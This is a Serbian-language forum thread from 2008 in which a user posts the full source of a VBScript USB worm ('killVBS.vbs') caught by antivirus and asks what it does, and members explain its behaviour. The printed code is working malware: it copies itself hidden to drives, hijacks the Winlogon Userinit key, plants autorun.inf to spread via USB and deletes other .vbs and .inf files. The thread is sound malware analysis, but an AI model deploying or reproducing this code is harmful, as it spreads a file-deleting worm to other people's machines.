[es] - Sta tacno radi ovaj trojanac?

Kernel-1
Vojvodina

Član broj: 139340
Poruke: 1223
77.46.204.*

Jabber: Kernel-1@jabber.org
Sajt: www.google.com

Profil

Sta tacno radi ovaj trojanac?

^{12.03.2008. u 03:19}

Code:

Option Explicit
On Error Resume Next
Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv=File.Drive
Set InDrive = Fso.drives
Set ReadAll=File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop
Count=Drv.DriveType
Do
If Not Fso.FileExists(SystemDir & "\killVBS.vbs") then
  set WriteAll = Fso.CreateTextFile(SystemDir & "\killVBS.vbs",2,true)
  WriteAll.Write AllFile
  WriteAll.close
  set WriteAll = Fso.GetFile(SystemDir & "\killVBS.vbs")
  WriteAll.Attributes = -1
End If
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\killVBS.vbs"
For Each Drives In InDrive

If Drives.DriveType=2 Then
   LookVBS "inf",Drives.Path & "\"
   LookVBS "INF",Drives.Path & "\"
End if

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
  If Drives.Path<> "A:" Then
      Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
      Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title",""
      Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",""
      Shells.RegWrite "HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\WScript.exe,2"
      LookVBS "vbs",WinDir & "\"
      LookVBS "vbs",Drives.Path  & "\"
    If Drives.DriveType = 1 Then
     If Drives.Path<>"A:" Then
     If Not Fso.FileExists(Drives.Path & "\killVBS.vbs") Then
       Set WriteAll=Fso.CreateTextFile(Drives.Path & "\killVBS.vbs",2,True)
       WriteAll.Write AllFile
       WriteAll.Close
       Set WriteAll = Fso.GetFile(Drives.Path & "\killVBS.vbs")
       WriteAll.Attributes = -1
       End If

       If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
          Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
          Chg.Attributes = -8
          Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
          WriteAll.writeline "[autorun]"
          WriteAll.WriteLine "shellexecute=wscript.exe killVBS.vbs"
          WriteAll.Close
          Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
          WriteAll.Attributes = -1
       else
          Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
          WriteAll.writeline "[autorun]"
          WriteAll.WriteLine "shellexecute=wscript.exe killVBS.vbs"
          WriteAll.Close
          Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
          WriteAll.Attributes = -1
       End if
       End If
     End if
  End if
  End If
  Next
  if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1
sub LookVBS(File2Find, SrchPath)
    Dim oFileSys, oFolder, oFile,Cut,Delete
    Set oFileSys = CreateObject("Scripting.FileSystemObject")
    Set oFolder = oFileSys.GetFolder(SrchPath)
    For Each oFile In oFolder.Files
    Cut=Right(oFile.Name,3)
    If UCase(Cut)=UCase(file2find) Then
      If oFile.Name <> "killVBS.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
     End If
    Next
End sub

Ovaj je pokusao da mi prodje, ali ga je AVG uhvatio, pa sam ga iskopao iz karantina i prebacio u TXT fajl. Ovo je copy/pase samog koda.

PS : izvinjavam se ako sam stavio pitanje u pogresan jezik, ovo mi lici na VB, mada nisam siguran.

Antec SONATA III, C2D E6850, 4 GB RAM, nvidia 8800GTX, Samsung 22" 226BW.

You know, I'm sick of following my dreams man... I'm just gonna ask where they're going,
and hook-up with them later...

http://www.di.fm/mp3/goapsy.pls

^{12.03.2008. u 03:19}

Aleksandar Vasic
Čačak

Član broj: 91692
Poruke: 655
*.eunet.yu.

Jabber: aleksandar.vasic@elitesecurity.org
Sajt: www.roaltech.net

Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 09:09}

koliko sam video stvara fajlove killVBS.vbs i fajl autorun.inf u svim drajvovima i ubacuje ga u registry,sem ako je flopy(a:) jer bi ga to usporilo :D
i cini mi se da se samo razmnozava......sacekaj iskusnije korisnike ;)

ako ti ne obrishu temu...

www.roaltech.net

^{12.03.2008. u 09:09}

stefanpn
Stefan Kostic
Paracin / Blace

Član broj: 172809
Poruke: 386
79.101.233.*

Sajt: www.stefanpn.co.nr

Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 12:11}

Kako ti rece the_end samo se razmnozava po drajvovima i pravi "autorun.inf" tako da win explorer umesto da "otvori" root drajva on pokrene "wscript.exe KillVBS.vbs", i malo "prcka" po registry bazi i pravi nove kopije... U svakom slucaju, nista ozbiljno.

^{12.03.2008. u 12:11}

Marko_L
Marko Lošonc
Project Manager, Maxifer d.o.o
Beograd

Moderator
Član broj: 20532
Poruke: 2148
*.dynamic.sbb.co.yu.

Jabber: Marko_L@elitesecurity.org
ICQ: 249407402
Sajt: www.jurassicsoftware.com

Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 18:37}

Citat:

i cini mi se da se samo razmnozava......sacekaj iskusnije korisnike ;)

ako ti ne obrishu temu...

A što bi obrisali temu, nismo imali prilike da analiziramo VB virus još od vremena kada je su VRKY i SetX ovde pokušavali da naprave ultimativno razarački proces koji zauzima par MB, izbacuje runtime-error na svakom koraku i zahteva instalaciju , pogotovo što je u pitanju amaterski pokušaj koji je praktično bezopasan, jer ovakvo korišćenje WScript-a izvaljuje svaki AV nekoliko godina unazad :)

-Odracuonogakomijedrpiorazmaknicu.
-Ne rxdi mi txstxturx, kxd god hocu dx ukucxm "x" onx ukucx "x".
-Ko kaaz e da ja neuummem da kuuca m.
-Piše "Insert disk 3", a jedva sam i ova dva ugurao u drajv
-Postoje samo dve osobe kojima verujem, jedna sam ja, a druga nisi ti

^{12.03.2008. u 18:37}

Aleksandar Vasic
Čačak

Član broj: 91692
Poruke: 655
*.eunet.yu.

Jabber: aleksandar.vasic@elitesecurity.org
Sajt: www.roaltech.net

Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 19:30}

ponekad valja i 'vako neshto da se postavi chisto da razvijamo vijuge :P

www.roaltech.net

^{12.03.2008. u 19:30}

Aleksandar Ružičić
Aleksandar Ružičić
Senior Developer, Haragei d.o.o
Beograd - Čačak

Moderator
Član broj: 26939
Poruke: 2115
*.dynamic.adsl.itsisp.net.

Jabber: krcko@haragei.com
Sajt: krcko.haragei.org

Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 19:41}

Citat:

Marko_L: A što bi obrisali temu, nismo imali prilike da analiziramo VB virus još od vremena kada je su VRKY i SetX ovde pokušavali da naprave ultimativno razarački proces koji zauzima par MB, izbacuje runtime-error na svakom koraku i zahteva instalaciju , pogotovo što je u pitanju amaterski pokušaj koji je praktično bezopasan, jer ovakvo korišćenje WScript-a izvaljuje svaki AV nekoliko godina unazad :)

eh, vrky i set_x, njih sam skoro i zaboravio :)

jQuery addict!

_{Fact: Chuck Norris hates layout tables!}

^{12.03.2008. u 19:41}

Kernel-1
Vojvodina

Član broj: 139340
Poruke: 1223
77.46.204.*

Jabber: Kernel-1@jabber.org
Sajt: www.google.com

Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 20:30}

pa i ja sam to skontao, onoliko koliko sam uspeo procitati kod,
ne znam bas VB ali znam nesto Delphi da mogu iscitati otprilike sta radi,
da se kopira, ali nisam u kodu nasao neke akcije sem toga
pa reko da pitam za svaki slucaj, da nisam prevideo nesto
ozbiljnije.
Znaci, koja je bila poenta onoga sto je pravio ovaj program,
ako zaista ovaj ne radi nista drugo sem sto se kopira na neke
drajvove. Ovaj deo sto si rekao "prcka po registriju", to bi moglo
biti vrlo znacajno - sta tacno "prcka po registriju"?

Vidim da sa Shells.RegWrite nesto upisuje, mislim vidim i sta
ali mi nije jasno sta dalje sa tim sto je upisano, tj, koje su
posledice.

Pozdrav. Inace, ovo je prvi put da sam naleteo na virus i to ne sa
neta nego mi drug doneo USB-Flash da mu nesto prebacim, i cim
sam ga utakao, odmah ga je AVG savatao vec kod Autoruna
verovatno (tj, otvaranja root foldera usb-a).

^{12.03.2008. u 20:30}

Aleksandar Vasic
Čačak

Član broj: 91692
Poruke: 655
*.eunet.yu.

Jabber: aleksandar.vasic@elitesecurity.org
Sajt: www.roaltech.net

Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 20:37}

prcka to,da sledeci put kada se startuje windows,pokrene taj .vbs fajla da bi se ponovo razmnozio ;)

pa eto vidish ne razmnozava se samo po hdd-u,nego se ubacuje na sve jedinice osim flopija i na taj nacin se prenosi i na druge racunare ;)

www.roaltech.net

^{12.03.2008. u 20:37}

stefanpn
Stefan Kostic
Paracin / Blace

Član broj: 172809
Poruke: 386
79.101.233.*

Sajt: www.stefanpn.co.nr

Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 20:58}

1. Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
2. Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title",""
3. Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",""
4. Shells.RegWrite "HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\WScript.exe,2"

1. Brise MS32DLL iz start up-a (Tog zapisa i nema u mom registry-ju!)
2. Upisuje vbNullString("") u Window Title (kod mene nema ni toga)
3. Upisuje vbNullString("") u Start Page (menja ti pocetnu stranu u prazno, kad pokrenes IE)
4. Menja ikonu za vbs datoteke

I to bi bilo to

^{12.03.2008. u 20:58}